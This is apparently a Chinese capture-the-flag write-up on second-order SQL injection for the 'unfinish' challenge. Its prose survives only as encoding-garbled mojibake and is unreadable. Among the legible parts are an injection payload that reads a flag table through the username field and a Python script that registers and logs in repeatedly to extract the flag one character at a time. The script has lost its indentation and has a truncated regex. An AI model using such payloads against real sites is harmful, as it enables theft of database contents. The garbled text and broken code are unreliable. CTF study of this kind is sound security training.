¶þ´Î×¢Èë©¶´ÊÇÒ»ÖÖÔÚWebÓ¦ÓóÌÐòÖй㷺´æÔڵĻƽð³Ç¹ÙÍøÂ©¶´ÐÎʽ¡£Ïà¶ÔÓÚÒ»´Î×¢Èë©¶´¶øÑÔ£¬¶þ´Î×¢Èë©¶´¸üÄÑÒÔ±»·¢ÏÖ£¬µ«ÊÇËüÈ´¾ßÓÐÓëÒ»´Î×¢Èë¹¥»÷©¶´ÏàͬµÄ¹¥»÷ÍþÁ¦£¬¶øÔÚCTFµÈ¸÷Àà»Æ½ð³Ç¹ÙÍø¾ºÈüÖУ¬¶þ´Î×¢ÈëÒ²Êdz£¿¼µÄµã¡£
¶þ´Î×¢Èë»ù±¾ÔÀí
¶þ´Î×¢Èë©¶´×ÖÃæÉÏÀí½â¾ÍÊǽáºÏÁ½¸ö×¢Èë©¶´µãʵÏÖsql×¢ÈëµÄÄ¿µÄ£¬µ«ÊÇÕâÆäÖл¹Óм¸¸öϸ½ÚÐèÒª½²½âһϡ£Ê×ÏÈ£¬µÚÒ»¸ö×¢ÈëµãÒòΪ¾¹ý¹ýÂË´¦ÀíËùÒÔÎÞ·¨´¥·¢sql×¢Èë©¶´£¬±ÈÈçaddslashesº¯Êý£¬½«µ¥ÒýºÅµÈ×Ö·ûתÒå±ä³É¡¯¡£µ«ÊÇ´æ½øÊý¾Ý¿âºó£¬Êý¾ÝÓÖ±»»¹ÔÁË£¬Ò²¾ÍÊÇ·´Ð±¸ÜûÁË£¬ÔÚÕâÖÖÇé¿öÏ£¬Èç¹ûÄÜ·¢ÏÖÒ»¸öеÄ×¢ÈëͬʱÒýÓÃÁ˱»²åÈëÁ˵ÄÊý¾Ý¿âÊý¾Ý£¬¾Í¿ÉÒÔʵÏÖ±ÕºÏз¢ÏÖµÄ×¢Èë©¶´Òý·¢Â©¶´¡£
CTF¶þ´Î×¢Èë°¸Àý¡ª¡ªunfinish
©¶´»·¾³
http://111.200.241.244:56780/login.php

ͨ¹ýdirsearchj½øÐÐĿ¼±¬ÆÆ
´æÔÚ·¾¶http://111.200.241.244:56780/register.php
×¢²áÕ˺Å1232@qq.com;test;testµÇ¼£¬Óû§ÃûÏÔʾÔڵǼºóµÄÒ³ÃæÉÏ¡£
ÕâÑùÕâÀïÓпÉÄÜ´æÔÚ¶þ´Î×¢È룬µ±ÎÒÃÇ×¢²áʱ£¬ºǫ́µÄSQLÓï¾ä´ó¸ÅÀàËÆÓÚ
Insert into users (email,username,password) VALUES (1232@qq.com,test,test)
ÔڵǼʱ£¬Í¨¹ý²éѯÓÊÏäÃûÏÔʾÏà¹ØÓû§Õ˺ţ¬ºǫ́µÄSQLÓï¾ä´ó¸ÅÀàËÆÓÚ
Select username from users whereusers.email = ¡°1232@qq.com¡±
ÕâÀï¶ÔÓÚmysql´æÔÚÌØÐÔ£¬+ºÅÔÚmysql×÷ΪÔËËã·û£¬Èç¹û½«usernameµÄ²ÎÊýÖµÐ޸ijÉΪÈ硯0¡¯+SQLÓï¾ä+¡®1¡®£¬Ôòselect ¡®0¡¯+SQLÓï¾ä+¡®1¡¯ from users where users.email=¡±1232@qq.com¡±£¬ÆäÖеÄSQLÓï¾ä¾Í»á±»Ö´ÐУ¬×îÖÕ¸ÃSQLÓï¾äÖ´ÐкóµÄÄÚÈݾͻáÏÔʾÔÚÒ³ÃæÉÏ¡£
Ê×ÏȽøÐÐfuzz£¬¿´¿´²ÎÊýÖµ´¦¹ýÂËÁËʲô×Ö·û£¬±ãÓÚÓÃÓÚºóÃæSQL×¢ÈëµÄpayload¹¹Ôì¡£
¿ÉÒÔ¿´µ½¶ººÅ,informationµÈ×Ö·û¶¼»á±»¹ýÂË£¬Òò´Ë¹¹ÔìpayloadÈçÏ£¬±íÃûͨ¹ý²Â²âµÃµ½£¬
0'+ascii(substr((select * from flag) from 1for 1))+'0
×¢²áÊÇÓÊÏäÃûΪ1@qq.com;Óû§ÃûΪ0'+ascii(substr((select * from flag) from 1 for 1))+'0£¬ÃÜÂëΪ123456£¬³É¹û×¢²áºó£¬µÇ¼£¬»ñµÃÓû§ÃûΪ102
±àд½Å±¾£¬×Ô¶¯»¯»ñÈ¡flag
import requests
import re
register_url ='http://f33ca159-6a00-4a4d-8718-b833c42e6a83.node4.buuoj.cn:81/register.php'
login_url ='http://f33ca159-6a00-4a4d-8718-b833c42e6a83.node4.buuoj.cn:81/login.php'
flag = ''
for i in range(1, 100):
register_data = {
'email': 'test%d@1234.com' % i,
'username': "0' + ascii(substr((select * from flag) from %d for 1))+ '0" % i,
'password': '1234'
}
#postÌá½»×¢²ápayload
res = requests.post(url=register_url, data=register_data)
login_data = {
'email': 'test%d@1234.com' % i,
'password': '1234'
}
print(login_data)
res = requests.post(url=login_url, data=login_data)
num = re.search('
(.*?)', res.text)
flag += chr(int(num.group(1).strip()))
print(flag)